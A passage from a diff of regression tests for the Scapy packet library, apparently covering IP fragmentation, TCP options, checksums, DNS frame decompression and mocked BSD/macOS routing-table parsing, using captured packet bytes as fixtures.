+d = base64.b64decode('////////REVTUwEACABFAABOawsAAIARtGoK/QExCv0D/wCJAIkAOry/3wsBEAABAAAAAAAAIEVKRkRFQkZFRUJGQUNBQ0FDQUNBQ0FDQUNBQ0FDQUFBAAAgAAEAABYP/WUAAB6N4XIAAB6E4XsAAACR/24AADyEw3sAABfu6BEAAAkx9s4AABXB6j4AAANe/KEAAAAT/+wAAB7z4QwAAEuXtGgAAB304gsAABTB6z4AAAdv+JAAACCu31EAADm+xkEAABR064sAABl85oMAACTw2w8AADrKxTUAABVk6psAABnF5joAABpA5b8AABjP5zAAAAqV9WoAAAUW+ukAACGS3m0AAAEP/vAAABoa5eUAABYP6fAAABX/6gAAABUq6tUAADXIyjcAABpy5Y0AABzb4yQAABqi5V0AAFXaqiUAAEmRtm4AACrL1TQAAESzu0wAAAzs8xMAAI7LcTQAABxN47IAAAbo+RcAABLr7RQAAB3Q4i8AAAck+NsAABbi6R0AAEdruJQAAJl+ZoEAABDH7zgAACOA3H8AAAB5/4YAABQk69sAAEo6tcUAABJU7asAADO/zEAAABGA7n8AAQ9L8LMAAD1DwrwAAB8F4PoAABbG6TkAACmC1n0AAlHErjkAABG97kIAAELBvT4AAEo0tcsAABtC5L0AAA9u8JEAACBU36sAAAAl/9oAABBO77EAAA9M8LMAAA8r8NQAAAp39YgAABB874MAAEDxvw4AAEgyt80AAGwsk9MAAB1O4rEAAAxL87QAADtmxJkAAATo+xcAAAM8/MMAABl55oYAACKh3V4AACGj3lwAAE5ssZMAAC1x0o4AAAO+/EEAABNy7I0AACYp2dYAACb+2QEAABB974IAABc36MgAAA1c8qMAAAf++AEAABDo7xcAACLq3RUAAA8L8PQAAAAV/+oAACNU3KsAABBv75AAABFI7rcAABuH5HgAABAe7+EAAB++4EEAACBl35oAAB7c4SMAADgJx/YAADeVyGoAACKN3XIAAA/C8D0AAASq+1UAAOHPHjAAABRI67cAAABw/48=')
+
+old_debug_dissector = conf.debug_dissector
+conf.debug_dissector = 0
+plist = PacketList([Ether(x) for x in [a, b, c, d]])
+conf.debug_dissector = old_debug_dissector
+
+left, defragmented, errored = defrag(plist)
+assert len(left) == 1
+assert left[0] == Ether(d)
+assert len(defragmented) == 1
+assert len(defragmented[0]) == 3093
+assert defragmented[0][DNSRR].rrname == b'nyc.gov.'
+assert len(errored) == 0
+
+plist_def = defragment(plist)
+assert len(plist_def) == 2
+assert len(plist_def[0]) == 3093
+assert plist_def[0][DNSRR].rrname == b'nyc.gov.'
+
+= Packet().fragment()
+payloadlen, fragsize = 100, 8
+assert fragsize % 8 == 0
+fragcount = (payloadlen // fragsize) + bool(payloadlen % fragsize)
+* create the packet
+pkt = IP() / ("X" * payloadlen)
+* create the fragments
+frags = pkt.fragment(fragsize)
+* count the fragments
+assert len(frags) == fragcount
+* each fragment except the last one should have MF set
+assert all(p.flags == 1 for p in frags[:-1])
+assert frags[-1].flags == 0
+* each fragment except the last one should have a payload of fragsize bytes
+assert all(len(p.payload) == 8 for p in frags[:-1])
+assert len(frags[-1].payload) == ((payloadlen % fragsize) or fragsize)
+
+= Packet().fragment() and overloaded_fields
+pkt1 = Ether() / IP() / UDP()
+pkt2 = pkt1.fragment()[0]
+pkt3 = pkt2.__class__(raw(pkt2))
+assert pkt1[IP].proto == pkt2[IP].proto == pkt3[IP].proto
+
+= Packet().fragment() already fragmented packets
+payloadlen = 1480 * 3
+ffrags = (IP() / ("X" * payloadlen)).fragment(1480)
+ffrags = reduce(lambda x, y: x + y, (pkt.fragment(1400) for pkt in ffrags))
+len(ffrags) == 6
+* each fragment except the last one should have MF set
+assert all(p.flags == 1 for p in ffrags[:-1])
+assert ffrags[-1].flags == 0
+* fragment offset should be well computed
+plen = 0
+for p in ffrags:
+    assert p.frag == plen / 8
+    plen += len(p.payload)
+
+assert plen == payloadlen
+
+
+############
+############
++ TCP/IP tests
+
+= TCP options: UTO - basic build
+raw(TCP(options=[("UTO", 0xffff)])) == b"\x00\x14\x00\x50\x00\x00\x00\x00\x00\x00\x00\x00\x60\x02\x20\x00\x00\x00\x00\x00\x1c\x04\xff\xff"
+
+= TCP options: UTO - basic dissection
+uto = TCP(b"\x00\x14\x00\x50\x00\x00\x00\x00\x00\x00\x00\x00\x60\x02\x20\x00\x00\x00\x00\x00\x1c\x04\xff\xff")
+uto[TCP].options[0][0] == "UTO" and uto[TCP].options[0][1] == 0xffff
+
+= TCP options: SAck - basic build
+raw(TCP(options=[(5, "abcdefgh")])) == b"\x00\x14\x00P\x00\x00\x00\x00\x00\x00\x00\x00\x80\x02 \x00\x00\x00\x00\x00\x05\nabcdefgh\x00\x00"
+
+= TCP options: SAck - basic dissection
+sack = TCP(b"\x00\x14\x00P\x00\x00\x00\x00\x00\x00\x00\x00\x80\x02 \x00\x00\x00\x00\x00\x05\nabcdefgh\x00\x00")
+sack[TCP].options[0][0] == "SAck" and sack[TCP].options[0][1] == (1633837924, 1701209960)
+
+= TCP options: SAckOK - basic build
+raw(TCP(options=[('SAckOK', '')])) == b"\x00\x14\x00P\x00\x00\x00\x00\x00\x00\x00\x00`\x02 \x00\x00\x00\x00\x00\x04\x02\x00\x00"
+
+= TCP options: SAckOK - basic dissection
+sackok = TCP(b"\x00\x14\x00P\x00\x00\x00\x00\x00\x00\x00\x00`\x02 \x00\x00\x00\x00\x00\x04\x02\x00\x00")
+sackok[TCP].options[0][0] == "SAckOK" and sackok[TCP].options[0][1] == b''
+
+= TCP options: EOL - basic build
+raw(TCP(options=[(0, '')])) == b"\x00\x14\x00P\x00\x00\x00\x00\x00\x00\x00\x00`\x02 \x00\x00\x00\x00\x00\x00\x02\x00\x00"
+
+= TCP options: EOL - basic dissection
+eol = TCP(b"\x00\x14\x00P\x00\x00\x00\x00\x00\x00\x00\x00`\x02 \x00\x00\x00\x00\x00\x00\x02\x00\x00")
+eol[TCP].options[0][0] == "EOL" and eol[TCP].options[0][1] == None
+
+= TCP options: malformed - build
+raw(TCP(options=[('unknown', '')])) == raw(TCP())
+
+= TCP options: malformed - dissection
+raw(TCP(b"\x00\x14\x00P\x00\x00\x00\x00\x00\x00\x00\x00`\x02 \x00\x00\x00\x00\x00\x03\x00\x00\x00")) == b"\x00\x14\x00P\x00\x00\x00\x00\x00\x00\x00\x00`\x02 \x00\x00\x00\x00\x00\x03\x00\x00\x00"
+
+= IP, TCP & UDP checksums (these tests highly depend on default values)
+pkt = IP() / TCP()
+bpkt = IP(raw(pkt))
+assert bpkt.chksum == 0x7ccd and bpkt.payload.chksum == 0x917c
+
+pkt = IP(len=40) / TCP()
+bpkt = IP(raw(pkt))
+assert bpkt.chksum == 0x7ccd and bpkt.payload.chksum == 0x917c
+
+pkt = IP(len=40, ihl=5) / TCP()
+bpkt = IP(raw(pkt))
+assert bpkt.chksum == 0x7ccd and bpkt.payload.chksum == 0x917c
+
+pkt = IP() / TCP() / ("A" * 10)
+bpkt = IP(raw(pkt))
+assert bpkt.chksum == 0x7cc3 and bpkt.payload.chksum == 0x4b2c
+
+pkt = IP(len=50) / TCP() / ("A" * 10)
+bpkt = IP(raw(pkt))
+assert bpkt.chksum == 0x7cc3 and bpkt.payload.chksum == 0x4b2c
+
+pkt = IP(len=50, ihl=5) / TCP() / ("A" * 10)
+bpkt = IP(raw(pkt))
+assert bpkt.chksum == 0x7cc3 and bpkt.payload.chksum == 0x4b2c
+
+pkt = IP(options=[IPOption_RR()]) / TCP() / ("A" * 10)
+bpkt = IP(raw(pkt))
+assert bpkt.chksum == 0x70bc and bpkt.payload.chksum == 0x4b2c
+
+pkt = IP(len=54, options=[IPOption_RR()]) / TCP() / ("A" * 10)
+bpkt = IP(raw(pkt))
+assert bpkt.chksum == 0x70bc and bpkt.payload.chksum == 0x4b2c
+
+pkt = IP(len=54, ihl=6, options=[IPOption_RR()]) / TCP() / ("A" * 10)
+bpkt = IP(raw(pkt))
+assert bpkt.chksum == 0x70bc and bpkt.payload.chksum == 0x4b2c
+
+pkt = IP() / UDP()
+bpkt = IP(raw(pkt))
+assert bpkt.chksum == 0x7cce and bpkt.payload.chksum == 0x0172
+
+pkt = IP(len=28) / UDP()
+bpkt = IP(raw(pkt))
+assert bpkt.chksum == 0x7cce and bpkt.payload.chksum == 0x0172
+
+pkt = IP(len=28, ihl=5) / UDP()
+bpkt = IP(raw(pkt))
+assert bpkt.chksum == 0x7cce and bpkt.payload.chksum == 0x0172
+
+pkt = IP() / UDP() / ("A" * 10)
+bpkt = IP(raw(pkt))
+assert bpkt.chksum == 0x7cc4 and bpkt.payload.chksum == 0xbb17
+
+pkt = IP(len=38) / UDP() / ("A" * 10)
+bpkt = IP(raw(pkt))
+assert bpkt.chksum == 0x7cc4 and bpkt.payload.chksum == 0xbb17
+
+pkt = IP(len=38, ihl=5) / UDP() / ("A" * 10)
+bpkt = IP(raw(pkt))
+assert bpkt.chksum == 0x7cc4 and bpkt.payload.chksum == 0xbb17
+
+pkt = IP(options=[IPOption_RR()]) / UDP() / ("A" * 10)
+bpkt = IP(raw(pkt))
+assert bpkt.chksum == 0x70bd and bpkt.payload.chksum == 0xbb17
+
+pkt = IP(len=42, options=[IPOption_RR()]) / UDP() / ("A" * 10)
+bpkt = IP(raw(pkt))
+assert bpkt.chksum == 0x70bd and bpkt.payload.chksum == 0xbb17
+
+pkt = IP(len=42, ihl=6, options=[IPOption_RR()]) / UDP() / ("A" * 10)
+bpkt = IP(raw(pkt))
+assert bpkt.chksum == 0x70bd and bpkt.payload.chksum == 0xbb17
+
+= DNS
+
+* DNS over UDP
+pkt = IP(raw(IP(src="10.0.0.1", dst="8.8.8.8")/UDP(sport=RandShort(), dport=53)/DNS(qd=DNSQR(qname="secdev.org."))))
+assert UDP in pkt and isinstance(pkt[UDP].payload, DNS)
+assert pkt[UDP].dport == 53 and pkt[UDP].length is None
+assert pkt[DNS].qdcount == 1 and pkt[DNS].qd.qname == b"secdev.org."
+
+* DNS over TCP
+pkt = IP(raw(IP(src="10.0.0.1", dst="8.8.8.8")/TCP(sport=RandShort(), dport=53, flags="P")/DNS(qd=DNSQR(qname="secdev.org."))))
+assert TCP in pkt and isinstance(pkt[TCP].payload, DNS)
+assert pkt[TCP].dport == 53 and pkt[DNS].length is not None
+assert pkt[DNS].qdcount == 1 and pkt[DNS].qd.qname == b"secdev.org."
+
+= DNS frame with advanced decompression
+
+a = b'\x01\x00^\x00\x00\xfb$\xa2\xe1\x90\xa9]\x08\x00E\x00\x01P\\\xdd\x00\x00\xff\x11\xbb\x93\xc0\xa8\x00\x88\xe0\x00\x00\xfb\x14\xe9\x14\xe9\x01<*\x81\x00\x00\x84\x00\x00\x00\x00\x03\x00\x00\x00\x04\x01B\x019\x015\x019\x013\x014\x017\x013\x016\x017\x010\x012\x010\x01D\x018\x011\x010\x010\x010\x010\x010\x010\x010\x010\x010\x010\x010\x010\x010\x018\x01E\x01F\x03ip6\x04arpa\x00\x00\x0c\x80\x01\x00\x00\x00x\x00\x0f\x07Zalmoid\x05local\x00\x011\x01A\x019\x014\x017\x01E\x01A\x014\x01B\x01A\x01F\x01B\x012\x011\x014\x010\x010\x016\x01E\x01F\x017\x011\x01F\x012\x015\x013\x01E\x010\x011\x010\x01A\x012\xc0L\x00\x0c\x80\x01\x00\x00\x00x\x00\x02\xc0`\x03136\x010\x03168\x03192\x07in-addr\xc0P\x00\x0c\x80\x01\x00\x00\x00x\x00\x02\xc0`\xc0\x0c\x00/\x80\x01\x00\x00\x00x\x00\x06\xc0\x0c\x00\x02\x00\x08\xc0o\x00/\x80\x01\x00\x00\x00x\x00\x06\xc0o\x00\x02\x00\x08\xc0\xbd\x00/\x80\x01\x00\x00\x00x\x00\x06\xc0\xbd\x00\x02\x00\x08\x00\x00)\x05\xa0\x00\x00\x11\x94\x00\x12\x00\x04\x00\x0e\x00\xc1&\xa2\xe1\x90\xa9]$\xa2\xe1\x90\xa9]'
+pkt = Ether(a)
+assert pkt.ancount == 3
+assert pkt.arcount == 4
+assert pkt.an[1].rdata == b'Zalmoid.local.'
+assert pkt.an[2].rdata == b'Zalmoid.local.'
+assert pkt.ar[1].nextname == b'1.A.9.4.7.E.A.4.B.A.F.B.2.1.4.0.0.6.E.F.7.1.F.2.5.3.E.0.1.0.A.2.ip6.arpa.'
+assert pkt.ar[2].nextname == b'136.0.168.192.in-addr.arpa.'
+pkt.show()
+
+= DNS frame with DNSRRSRV
+
+b = Ether(b'33\x00\x00\x00\xfb$\xe3\x14M\x84\xc0\x86\xdd`\t\xc0f\x02b\x11\xff\xfe\x80\x00\x00\x00\x00\x00\x00\x04*,\x03\xab+/\x14\xff\x02\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xfb\x14\xe9\x14\xe9\x02b_\xd8\x00\x00\x84\x00\x00\x00\x00\x0b\x00\x00\x00\x06\x014\x011\x01F\x012\x01B\x012\x01B\x01A\x013\x010\x01C\x012\x01A\x012\x014\x010\x010\x010\x010\x010\x010\x010\x010\x010\x010\x010\x010\x010\x010\x018\x01E\x01F\x03ip6\x04arpa\x00\x00\x0c\x80\x01\x00\x00\x00x\x00\x14\x0csCapys-fLuff\x05local\x00\x03177\x010\x03168\x03192\x07in-addr\xc0P\x00\x0c\x80\x01\x00\x00\x00x\x00\x02\xc0`\x01E\x01F\x017\x01D\x01B\x018\x014\x01C\x014\x01B\x016\x01E\x015\x017\x018\x010\x010\x016\x01E\x01F\x017\x011\x01F\x012\x015\x013\x01E\x010\x011\x010\x01A\x012\xc0L\x00\x0c\x80\x01\x00\x00\x00x\x00\x02\xc0`+24:e3:14:4d:84:c0@fe80::26e3:14ff:fe4d:84c0\x0e_apple-mobdev2\x04_tcp\xc0m\x00\x10\x80\x01\x00\x00\x11\x94\x00\x01\x00\t_services\x07_dns-sd\x04_udp\xc0m\x00\x0c\x00\x01\x00\x00\x11\x94\x00\x02\xc1\x12\x08521805b3\x04_sub\xc1\x12\x00\x0c\x00\x01\x00\x00\x11\x94\x00\x02\xc0\xe6\xc1\x12\x00\x0c\x00\x01\x00\x00\x11\x94\x00\x02\xc0\xe6\xc0\xe6\x00!\x80\x01\x00\x00\x00x\x00\x08\x00\x00\x00\x00~\xf2\xc0`\xc0`\x00\x1c\x80\x01\x00\x00\x00x\x00\x10\xfe\x80\x00\x00\x00\x00\x00\x00\x04*,\x03\xab+/\x14\xc0`\x00\x01\x80\x01\x00\x00\x00x\x00\x04\xc0\xa8\x00\xb1\xc0`\x00\x1c\x80\x01\x00\x00\x00x\x00\x10*\x01\x0e5/\x17\xfe`\x08u\xe6\xb4\xc4\x8b\xd7\xfe\xc0\x0c\x00/\x80\x01\x00\x00\x00x\x00\x06\xc0\x0c\x00\x02\x00\x08\xc0t\x00/\x80\x01\x00\x00\x00x\x00\x06\xc0t\x00\x02\x00\x08\xc0\x98\x00/\x80\x01\x00\x00\x00x\x00\x06\xc0\x98\x00\x02\x00\x08\xc0\xe6\x00/\x80\x01\x00\x00\x11\x94\x00\t\xc0\xe6\x00\x05\x00\x00\x80\x00@\xc0`\x00/\x80\x01\x00\x00\x00x\x00\x08\xc0`\x00\x04@\x00\x00\x08\x00\x00)\x05\xa0\x00\x00\x11\x94\x00\x12\x00\x04\x00\x0e\x00\xcf&\xe3\x14M\x84\xc0$\xe3\x14M\x84\xc0')
+assert isinstance(b.an[7], DNSRRSRV)
+assert b.an[7].target == b'sCapys-fLuff.local.'
+assert b.an[6].rrname == b'_apple-mobdev2._tcp.local.'
+assert b.an[6].rdata == b'24:e3:14:4d:84:c0@fe80::26e3:14ff:fe4d:84c0._apple-mobdev2._tcp.local.'
+
+= DNS frame with decompression hidden args
+
+c = b'\x01\x00^\x00\x00\xfb\x14\x0cv\x8f\xfe(\x08\x00E\x00\x01C\xe3\x91@\x00\xff\x11\xf4u\xc0\xa8\x00\xfe\xe0\x00\x00\xfb\x14\xe9\x14\xe9\x01/L \x00\x00\x84\x00\x00\x00\x00\x04\x00\x00\x00\x00\x05_raop\x04_tcp\x05local\x00\x00\x0c\x00\x01\x00\x00\x11\x94\x00\x1e\x1b140C768FFE28@Freebox Server\xc0\x0c\xc0(\x00\x10\x80\x01\x00\x00\x11\x94\x00\xa0\ttxtvers=1\x08vs=190.9\x04ch=2\x08sr=44100\x05ss=16\x08pw=false\x06et=0,1\x04ek=1\ntp=TCP,UDP\x13am=FreeboxServer1,2\ncn=0,1,2,3\x06md=0,2\x07sf=0x44\x0bft=0xBF0A00\x08sv=false\x07da=true\x08vn=65537\x04vv=2\xc0(\x00!\x80\x01\x00\x00\x00x\x00\x19\x00\x00\x00\x00\x13\x88\x10Freebox-Server-3\xc0\x17\xc1\x04\x00\x01\x80\x01\x00\x00\x00x\x00\x04\xc0\xa8\x00\xfe'
+pkt = Ether(c)
+assert DNS in pkt
+assert pkt.an.rdata == b'140C768FFE28@Freebox Server._raop._tcp.local.'
+assert pkt.an.getlayer(DNSRR, type=1).rrname == b'Freebox-Server-3.local.'
+assert pkt.an.getlayer(DNSRR, type=1).rdata == '192.168.0.254'
+
+= Layer binding
+
+* Test DestMACField & DestIPField
+pkt = Ether(raw(Ether()/IP()/UDP(dport=5353)/DNS()))
+assert isinstance(pkt, Ether) and pkt.dst == '01:00:5e:00:00:fb'
+pkt = pkt.payload
+assert isinstance(pkt, IP) and pkt.dst == '224.0.0.251'
+pkt = pkt.payload
+assert isinstance(pkt, UDP) and pkt.dport == 5353
+pkt = pkt.payload
+assert isinstance(pkt, DNS) and isinstance(pkt.payload, NoPayload)
+
+* Same with IPv6
+pkt = Ether(raw(Ether()/IPv6()/UDP(dport=5353)/DNS()))
+assert isinstance(pkt, Ether) and pkt.dst == '33:33:00:00:00:fb'
+pkt = pkt.payload
+assert isinstance(pkt, IPv6) and pkt.dst == 'ff02::fb'
+pkt = pkt.payload
+assert isinstance(pkt, UDP) and pkt.dport == 5353
+pkt = pkt.payload
+assert isinstance(pkt, DNS) and isinstance(pkt.payload, NoPayload)
+
+
+############
+############
++ Mocked read_routes() calls
+
+= Truncated netstat -rn output on OS X
+~ mock_read_routes6_bsd
+
+import mock
+from io import StringIO
+
+@mock.patch("scapy.arch.unix.get_if_addr")
+@mock.patch("scapy.arch.unix.os")
+def test_osx_netstat_truncated(mock_os, mock_get_if_addr):
+    """Test read_routes() on OS X 10.? with a long interface name"""
+    # netstat & ifconfig outputs from https://github.com/secdev/scapy/pull/119
+    netstat_output = u"""
+Routing tables
+
+Internet:
+Destination        Gateway            Flags        Refs      Use   Netif Expire
+default            192.168.1.1        UGSc          460        0     en1
+default            link#11            UCSI            1        0 bridge1
+127                127.0.0.1          UCS             1        0     lo0
+127.0.0.1          127.0.0.1          UH             10  2012351     lo0
+"""
+    ifconfig_output = u"lo0 en1 bridge10\n"
+    # Mocked file descriptors
+    def se_popen(command):
+        """Perform specific side effects"""
+        if command.startswith("netstat -rn"):
+            return StringIO(netstat_output)
+        elif command == "ifconfig -l":
+            ret = StringIO(ifconfig_output)
+            def unit():
+                return ret
+            ret.__call__ = unit
+            ret.__enter__ = unit
+            ret.__exit__ = lambda x,y,z: None
+            return ret
+        raise Exception("Command not mocked: %s" % command)
+    mock_os.popen.side_effect = se_popen
+    # Mocked get_if_addr() behavior
+    def se_get_if_addr(iface):
+        """Perform specific side effects"""
+        if iface == "bridge1":
+            oserror_exc = OSError()
+            oserror_exc.message = "Device not configured"
+            raise oserror_exc
+        return "1.2.3.4"
+    mock_get_if_addr.side_effect = se_get_if_addr
+    # Test the function
+    from scapy.arch.unix import read_routes
+    routes = read_routes()
+    assert(len(routes) == 4)
+    assert([r for r in routes if r[3] == "bridge10"])
+
+
+test_osx_netstat_truncated()
+
+
+############
+############
++ Mocked read_routes6() calls
+
+= Preliminary definitions
+~ mock_read_routes6_bsd
+
+import mock
+from io import StringIO
+
+def valid_output_read_routes6(routes):
+    """"Return True if 'routes' contains correctly formatted entries, False otherwise"""
+    for destination, plen, next_hop, dev, cset, me  in routes:
+        if not in6_isvalid(destination) or not type(plen) == int:
+            return False
+        if not in6_isvalid(next_hop) or not isinstance(dev, six.string_types):
+            return False
+        for address in cset:
+            if not in6_isvalid(address):
+                return False
+    return True
+
+def check_mandatory_ipv6_routes(routes6):
+    """Ensure that mandatory IPv6 routes are present"""
+    if len([r for r in routes6 if r[0] == "::1" and r[4] == ["::1"]]) < 1:
+        return False
+    if len([r for r in routes6 if r[0] == "fe80::" and r[1] == 64]) < 1:
+        return False
+    if len([r for r in routes6 if in6_islladdr(r[0]) and r[1] == 128 and \
+            r[4] == ["::1"]]) < 1:
+        return False
+    return True
+
+
+= Mac OS X 10.9.5
+~ mock_read_routes6_bsd
+
+@mock.patch("scapy.arch.unix.in6_getifaddr")
+@mock.patch("scapy.arch.unix.os")
+def test_osx_10_9_5(mock_os, mock_in6_getifaddr):
+    """Test read_routes6() on OS X 10.9.5"""
+    # 'netstat -rn -f inet6' output
+    netstat_output = u"""
+Routing tables
+
+Internet6:
+Destination                             Gateway                         Flags         Netif Expire
+::1                                     ::1                             UHL             lo0
+fe80::%lo0/64                           fe80::1%lo0                     UcI             lo0
+fe80::1%lo0                             link#1                          UHLI            lo0
+fe80::%en0/64                           link#4                          UCI             en0
+fe80::ba26:6cff:fe5f:4eee%en0           b8:26:6c:5f:4e:ee               UHLWIi          en0
+fe80::bae8:56ff:fe45:8ce6%en0           b8:e8:56:45:8c:e6               UHLI            lo0
+ff01::%lo0/32                           ::1                             UmCI            lo0
+ff01::%en0/32                           link#4                          UmCI            en0
+ff02::%lo0/32                           ::1                             UmCI            lo0
+ff02::%en0/32                           link#4                          UmCI            en0
+"""
+    # Mocked file descriptor
+    strio = StringIO(netstat_output)
+    mock_os.popen = mock.MagicMock(return_value=strio)
+    # Mocked in6_getifaddr() output
+    mock_in6_getifaddr.return_value = [("::1", IPV6_ADDR_LOOPBACK, "lo0"),
+                                       ("fe80::ba26:6cff:fe5f:4eee", IPV6_ADDR_LINKLOCAL, "en0")]
+    # Test the function
+    from scapy.arch.unix import read_routes6
+    routes = read_routes6()
+    for r in routes:
+        print(r)
+    assert(len(routes) == 6)
+    assert(check_mandatory_ipv6_routes(routes))
+
+test_osx_10_9_5()
+
+
+= Mac OS X 10.9.5 with global IPv6 connectivity
+~ mock_read_routes6_bsd
+@mock.patch("scapy.arch.unix.in6_getifaddr")
+@mock.patch("scapy.arch.unix.os")
+def test_osx_10_9_5_global(mock_os, mock_in6_getifaddr):
+    """Test read_routes6() on OS X 10.9.5 with an IPv6 connectivity"""
+    # 'netstat -rn -f inet6' output
+    netstat_output = u"""
+Routing tables
+
+Internet6:
+Destination                             Gateway                         Flags         Netif Expire
+default                                 fe80::ba26:8aff:fe5f:4eef%en0   UGc             en0
+::1                                     ::1                             UHL             lo0
+2a01:ab09:7d:1f01::/64                  link#4                          UC              en0
+2a01:ab09:7d:1f01:420:205c:9fab:5be7    b8:e9:55:44:7c:e5               UHL             lo0
+2a01:ab09:7d:1f01:ba26:8aff:fe5f:4eef   b8:26:8a:5f:4e:ef               UHLWI           en0
+2a01:ab09:7d:1f01:bae9:55ff:fe44:7ce5   b8:e9:55:44:7c:e5               UHL             lo0
+fe80::%lo0/64                           fe80::1%lo0                     UcI             lo0
+fe80::1%lo0                             link#1                          UHLI            lo0
+fe80::%en0/64                           link#4                          UCI             en0
+fe80::5664:d9ff:fe79:4e00%en0           54:64:d9:79:4e:0                UHLWI           en0
+fe80::6ead:f8ff:fe74:945a%en0           6c:ad:f8:74:94:5a               UHLWI           en0
+fe80::a2f3:c1ff:fec4:5b50%en0           a0:f3:c1:c4:5b:50               UHLWI           en0
+fe80::ba26:8aff:fe5f:4eef%en0           b8:26:8a:5f:4e:ef               UHLWIir         en0
+fe80::bae9:55ff:fe44:7ce5%en0           b8:e9:55:44:7c:e5               UHLI            lo0
+ff01::%lo0/32                           ::1                             UmCI            lo0
+ff01::%en0/32                           link#4                          UmCI            en0
+ff02::%lo0/32                           ::1                             UmCI            lo
+"""
+    # Mocked file descriptor
+    strio = StringIO(netstat_output)
+    mock_os.popen = mock.MagicMock(return_value=strio)
+    # Mocked in6_getifaddr() output
+    mock_in6_getifaddr.return_value = [("::1", IPV6_ADDR_LOOPBACK, "lo0"),
+                                       ("fe80::ba26:6cff:fe5f:4eee", IPV6_ADDR_LINKLOCAL, "en0")]
+    # Test the function
+    from scapy.arch.unix import read_routes6
+    routes = read_routes6()
+    print(routes)
+    assert(valid_output_read_routes6(routes))
+    for r in routes:
+        print(r)
+    assert(len(routes) == 11)
+    assert(check_mandatory_ipv6_routes(routes))
+
+test_osx_10_9_5_global()
+
+
+= Mac OS X 10.10.4
+~ mock_read_routes6_bsd
+
+@mock.patch("scapy.arch.unix.in6_getifaddr")
+@mock.patch("scapy.arch.unix.os")
+def test_osx_10_10_4(mock_os, mock_in6_getifaddr):
+    """Test read_routes6() on OS X 10.10.4"""
+    # 'netstat -rn -f inet6' output
+    netstat_output = u"""
+Routing tables
+
+Internet6:
+Destination                             Gateway                         Flags         Netif Expire
+::1                                     ::1                             UHL             lo0
+fe80::%lo0/64                           fe80::1%lo0                     UcI             lo0
+fe80::1%lo0                             link#1                          UHLI            lo0
+fe80::%en0/64                           link#4                          UCI             en0
+fe80::a00:27ff:fe9b:c965%en0            8:0:27:9b:c9:65                 UHLI            lo0
+ff01::%lo0/32                           ::1                             UmCI            lo0
+ff01::%en0/32                           link#4                          UmCI            en0
+ff02::%lo0/32                           ::1                             UmCI            lo0
+ff02::%en0/32                           link#4                          UmCI            en0
+"""
+    # Mocked file descriptor
+    strio = StringIO(netstat_output)
+    mock_os.popen = mock.MagicMock(return_value=strio)
+    # Mocked in6_getifaddr() output
+    mock_in6_getifaddr.return_value = [("::1", IPV6_ADDR_LOOPBACK, "lo0"),
+                                       ("fe80::a00:27ff:fe9b:c965", IPV6_ADDR_LINKLOCAL, "en0")]
+    # Test the function
+    from scapy.arch.unix import read_routes6
+    routes = read_routes6()
+    for r in routes:
+        print(r)
+    assert(len(routes) == 5)
+    assert(check_mandatory_ipv6_routes(routes))
+
+test_osx_10_10_4()
+
+
+= FreeBSD 10.2
+~ mock_read_routes6_bsd
+
+@mock.patch("scapy.arch.unix.in6_getifaddr")
+@mock.patch("scapy.arch.unix.os")
+def test_freebsd_10_2(mock_os, mock_in6_getifaddr):
+    """Test read_routes6() on FreeBSD 10.2"""
+    # 'netstat -rn -f inet6' output
+    netstat_output = u"""
+Routing tables
+
+Internet6:
+Destination                       Gateway                       Flags      Netif Expire
+::/96                             ::1                           UGRS        lo0
+::1                               link#2                        UH          lo0
+::ffff:0.0.0.0/96                 ::1                           UGRS        lo0
+fe80::/10                         ::1                           UGRS        lo0
+fe80::%lo0/64                     link#2                        U           lo0
+fe80::1%lo0                       link#2                        UHS         lo0
+ff01::%lo0/32                     ::1                           U           lo0
+ff02::/16                         ::1                           UGRS        lo0
+ff02::%lo0/32                     ::1                           U           lo0
+"""
+    # Mocked file descriptor
+    strio = StringIO(netstat_output)
+    mock_os.popen = mock.MagicMock(return_value=strio)
+    # Mocked in6_getifaddr() output
+    mock_in6_getifaddr.return_value = [("::1", IPV6_ADDR_LOOPBACK, "lo0")]
+    # Test the function
+    from scapy.arch.unix import read_routes6
+    routes = read_routes6()
+    for r in routes:
+        print(r)
+    assert(len(routes) == 3)
+    assert(check_mandatory_ipv6_routes(routes))
+
+test_freebsd_10_2()
+
+
+= OpenBSD 5.5
+~ mock_read_routes6_bsd
+
+@mock.patch("scapy.arch.unix.OPENBSD")
+@mock.patch("scapy.arch.unix.in6_getifaddr")
+@mock.patch("scapy.arch.unix.os")
+def test_openbsd_5_5(mock_os, mock_in6_getifaddr, mock_openbsd):
+    """Test read_routes6() on OpenBSD 5.5"""
+    # 'netstat -rn -f inet6' output
+    netstat_output = u"""
+Routing tables
+
+Internet6:
+Destination                        Gateway                        Flags   Refs      Use   Mtu  Prio Iface
+::/104                             ::1                            UGRS       0        0     -     8 lo0  
+::/96                              ::1                            UGRS       0        0     -     8 lo0  
+::1                                ::1                            UH        14        0 33144     4 lo0  
+::127.0.0.0/104                    ::1                            UGRS       0        0     -     8 lo0  
+::224.0.0.0/100                    ::1                            UGRS       0        0     -     8 lo0  
+::255.0.0.0/104                    ::1                            UGRS       0        0     -     8 lo0  
+::ffff:0.0.0.0/96                  ::1                            UGRS       0        0     -     8 lo0  
+2002::/24                          ::1                            UGRS       0        0     -     8 lo0  
+2002:7f00::/24                     ::1                            UGRS       0        0     -     8 lo0  
+2002:e000::/20                     ::1                            UGRS       0        0     -     8 lo0  
+2002:ff00::/24                     ::1                            UGRS       0        0     -     8 lo0  
+fe80::/10                          ::1                            UGRS       0        0     -     8 lo0  
+fe80::%em0/64                      link#1                         UC         0        0     -     4 em0  
+fe80::a00:27ff:fe04:59bf%em0       08:00:27:04:59:bf              UHL        0        0     -     4 lo0  
+fe80::%lo0/64                      fe80::1%lo0                    U          0        0     -     4 lo0  
+fe80::1%lo0                        link#3                         UHL        0        0     -     4 lo0  
+fec0::/10                          ::1                            UGRS       0        0     -     8 lo0  
+ff01::/16                          ::1                            UGRS       0        0     -     8 lo0  
+ff01::%em0/32                      link#1                         UC         0        0     -     4 em0  
+ff01::%lo0/32                      fe80::1%lo0                    UC         0        0     -     4 lo0  
+ff02::/16                          ::1                            UGRS       0        0     -     8 lo0  
+ff02::%em0/32                      link#1                         UC         0        0     -     4 em0  
+ff02::%lo0/32                      fe80::1%lo0                    UC         0        0     -     4 lo0 
+"""
+    # Mocked file descriptor
+    strio = StringIO(netstat_output)
+    mock_os.popen = mock.MagicMock(return_value=strio)
+    
+    # Mocked in6_getifaddr() output
+    mock_in6_getifaddr.return_value = [("::1", IPV6_ADDR_LOOPBACK, "lo0"),
